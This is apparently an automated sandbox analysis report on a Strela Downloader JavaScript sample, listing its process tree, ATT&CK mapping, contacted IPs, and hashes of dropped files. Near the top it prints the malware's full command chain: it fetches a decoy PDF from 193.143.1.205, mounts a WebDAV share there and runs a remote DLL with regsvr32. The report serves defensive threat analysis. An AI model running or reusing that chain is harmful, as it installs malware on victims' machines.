Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
160370701202011504.js	5%	Virustotal		Browse
160370701202011504.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/)/	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sm	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/i.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000010.00000003.1315995857.000001F6F2E00000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.16.dr, edb.log.16.dr	false		high
http://crl.ver)	svchost.exe, 00000010.00000002.2547528154.000001F6F3000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.15.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.16.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1319098296.00000171C7E28000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sm	net.exe, 0000000D.00000002.1319098296.00000171C7E28000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/i.	net.exe, 0000000D.00000002.1319098296.00000171C7E5D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/)/	net.exe, 0000000D.00000002.1319098296.00000171C7E5D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588181
Start date and time:	2025-01-10 22:22:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	160370701202011504.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 3.219.243.226, 52.22.41.97, 3.233.129.217, 52.6.155.20, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.40.179.25, 23.40.179.59, 23.40.179.22, 23.40.179.57, 23.40.179.33, 23.40.179.21, 23.40.179.36, 23.40.179.53, 23.40.179.19, 13.107.246.45, 18.213.11.84, 4.245.163.56, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:23:35	API Interceptor	27x Sleep call for process: powershell.exe modified
16:23:40	API Interceptor	1x Sleep call for process: net.exe modified
16:23:40	API Interceptor	2x Sleep call for process: svchost.exe modified
16:23:47	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067116167778805
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq4:2JIB/wUKUKQncEmYRTwh0E
MD5:	FE32058A894DDEDFE691BCDC146A5F62
SHA1:	3E554DA87C24292E72E4AD63A7AA710C8096D800
SHA-256:	8DD8C95BE75D8AF8F25C3DF67E5C3A468295639A3FA572E65DA37C69DC00A409
SHA-512:	9B051145FF46DA91AD90FB4383E1D0439BD3B45E7FF000CF970731B5717FFCA3EC8E88409BBAF6C329F1AC766B8C6237D3C26235E61EC6D8E9A774B6094A4301
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x80608271, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899902384142266
Encrypted:	false
SSDEEP:	1536:OwgwVSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJof:bazaPvgurTd42UgSii
MD5:	94E878D7B089F4D3B957F29A0D6A1E05
SHA1:	00C31FCB919EB313911B135363AD933F162606E0
SHA-256:	5F22D4BDC21074787CD0B7FCC773B2F05320258CFF8BB31F3B227EB2C5CC48DA
SHA-512:	137422CD29E6E7D32678F102645FB32E7209170D6376D4C207626B06B1C3E12AB3AE6084E32D88B77BEEBFD6AF495A1C7D175FC0208D34E9F15B50755EC5162D
Malicious:	false
Preview:	.`.q... ...............X\...;...{......................0.`.....42...{5.(....};.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................Oc.(....}[....................(....};..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08217280355946815
Encrypted:	false
SSDEEP:	3:YqltEYe6TRexig1t/57Dek3JjQjQ//lallEqW3l/TjzzQ/t:Ye6zuepHR3tHXAmd8/
MD5:	96D98AB89DA3C2030317946CF0DCE5F6
SHA1:	A794394C7449023FD7A46A81F13382A12B20B5A7
SHA-256:	7E7745F3C200F3CB4BDB822FD9BB5E4D8DA80D08DE9EC41F3F59AE005FA89E0F
SHA-512:	4293D3EAA2593B22D7E1818009BDC7F8688D6A4C2645E17863C25B573F19DEDFFFDF6DBA7B46F68D3072CC945D6900575CEAA13CDE7F6D1AF0AD736A08F242D3
Malicious:	false
Preview:	...v.....................................;...{..(....};.42...{5.........42...{5.42...{5...Y.42...{59...................(....};.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.261108466600511
Encrypted:	false
SSDEEP:	6:iO41Eh/SQL+q2PcNwi2nKuAl9OmbnIFUtS1EhUG1Zmws1EhLQLVkwOcNwi2nKuAR:7Y2mvLZHAahFUtq2f1/k2k54ZHAaSJ
MD5:	C9016DCBA276B60F1E061CE83A7ACFD0
SHA1:	991D9CA31950E6A04B32437E1A4068D7183C08B1
SHA-256:	10BF6DB6BFD577DB34CDB4ECCCCF9988EFF47846778BF8507BC5A30AF285CAB8
SHA-512:	5AA3B6CF3B442C366445572F24F1B8A732E581923A984AF5A96D98F808271FF918D04A291B6C2DDA32DC896EBFE41AEFB522C034522AC358319A023EC393CB84
Malicious:	false
Preview:	2025/01/10-16:23:40.093 1d78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:23:40.095 1d78 Recovering log #3.2025/01/10-16:23:40.096 1d78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.261108466600511
Encrypted:	false
SSDEEP:	6:iO41Eh/SQL+q2PcNwi2nKuAl9OmbnIFUtS1EhUG1Zmws1EhLQLVkwOcNwi2nKuAR:7Y2mvLZHAahFUtq2f1/k2k54ZHAaSJ
MD5:	C9016DCBA276B60F1E061CE83A7ACFD0
SHA1:	991D9CA31950E6A04B32437E1A4068D7183C08B1
SHA-256:	10BF6DB6BFD577DB34CDB4ECCCCF9988EFF47846778BF8507BC5A30AF285CAB8
SHA-512:	5AA3B6CF3B442C366445572F24F1B8A732E581923A984AF5A96D98F808271FF918D04A291B6C2DDA32DC896EBFE41AEFB522C034522AC358319A023EC393CB84
Malicious:	false
Preview:	2025/01/10-16:23:40.093 1d78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:23:40.095 1d78 Recovering log #3.2025/01/10-16:23:40.096 1d78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.210528538188386
Encrypted:	false
SSDEEP:	6:iO41EUJZ6+q2PcNwi2nKuAl9Ombzo2jMGIFUtS1EUHU3ZZmws1EUHU3NVkwOcNwy:7YhJNvLZHAa8uFUtqh03Z/kh03z54ZHA
MD5:	1C5596FF2E523894E94E9374399376A0
SHA1:	8F3E02B3FCF8DCB822DC5CD6DD689816AE76E2A7
SHA-256:	5A33B979E944C66CF3B8495ADDA9BC0E65BDB2676475CB36476B862A798B14A9
SHA-512:	A0EEECCBE538EAB0A11BEE5218924FAF46FE0989D379FDACAB5479DA2715CE2649FA903DE08764FB05D1824FB13F7EA38F42C22D28195DCE747225DFF9A1E245
Malicious:	false
Preview:	2025/01/10-16:23:40.146 1e78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:23:40.148 1e78 Recovering log #3.2025/01/10-16:23:40.148 1e78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.210528538188386
Encrypted:	false
SSDEEP:	6:iO41EUJZ6+q2PcNwi2nKuAl9Ombzo2jMGIFUtS1EUHU3ZZmws1EUHU3NVkwOcNwy:7YhJNvLZHAa8uFUtqh03Z/kh03z54ZHA
MD5:	1C5596FF2E523894E94E9374399376A0
SHA1:	8F3E02B3FCF8DCB822DC5CD6DD689816AE76E2A7
SHA-256:	5A33B979E944C66CF3B8495ADDA9BC0E65BDB2676475CB36476B862A798B14A9
SHA-512:	A0EEECCBE538EAB0A11BEE5218924FAF46FE0989D379FDACAB5479DA2715CE2649FA903DE08764FB05D1824FB13F7EA38F42C22D28195DCE747225DFF9A1E245
Malicious:	false
Preview:	2025/01/10-16:23:40.146 1e78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:23:40.148 1e78 Recovering log #3.2025/01/10-16:23:40.148 1e78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0c0d97a5-6cdd-48e3-961b-1072a10a4505.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.968572608542831
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqqsBdOg2Hmcaq3QYiubSpDyP7E4T3y:Y2sRdsOdMHZ3QYhbSpDa7nby
MD5:	08AFEB1CFA01F2BFD9E88C05CAEC3B41
SHA1:	0DC9D7C0CE38845F788B4C9288CD4365CDCFDE65
SHA-256:	F6AE075DAFC8BD2941856B0C8FD0F68CC878C9D8310D5C39CB99D166074DB618
SHA-512:	5854846CD4E2EF1D6C71D88676B1AF9FB984C6B00F8A1FFEFBC9A36B4DF767BCF9735E6E9D6B90F0471D45A6090960EC82A3D7AD6C088BF68A7A9873986E6ADE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381104231875205","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129174},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\565fa0e9-d06c-4ab0-bdd8-5346c76a22cf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4059a2.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23274107368681
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP8arr2husX:CwNw1GHqPySfkcigoO3h28ytP8Gr2hus
MD5:	B8366FD754E5C54DF8D53AD03E90F3BE
SHA1:	C7AC3B0C5F89220EAD3BAA3A390727A3D5F71270
SHA-256:	477BC6C713E00B3F39875318AD3E70F4442A581900B5747F2EA92DC00B7129CB
SHA-512:	D387FC4A5DDA2DF7EF661697EA7842A7865F40A555D0DC0C1B66282DA39941C10589C06D141DE17209B96DC192AF57D68F1A8F2691F325980EEBDCAD710ED3D9
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.22223589952686
Encrypted:	false
SSDEEP:	6:iO41EtF4+q2PcNwi2nKuAl9OmbzNMxIFUtS1ErZmws1EjUdVkwOcNwi2nKuAl9Ob:7YMvLZHAa8jFUtq6/k3j54ZHAa84J
MD5:	C795D91F166F2E79EC138C121C5F358F
SHA1:	B26D586F873BC4F81372292F681218D75096147F
SHA-256:	D80A703628C304EFE6E421EC3864DA95ABED9793870468CF323868BDEE815A05
SHA-512:	860B89F271D157A2BC4D1901827BA56EBF4B61C09A58E68F62DE624E4E16B3E8FD2537280CC37F69C2A890ABCC5C1D2B4F9094297B08F4C09EC6D0FECFE3D9BE
Malicious:	false
Preview:	2025/01/10-16:23:40.196 1e78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:23:40.197 1e78 Recovering log #3.2025/01/10-16:23:40.202 1e78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

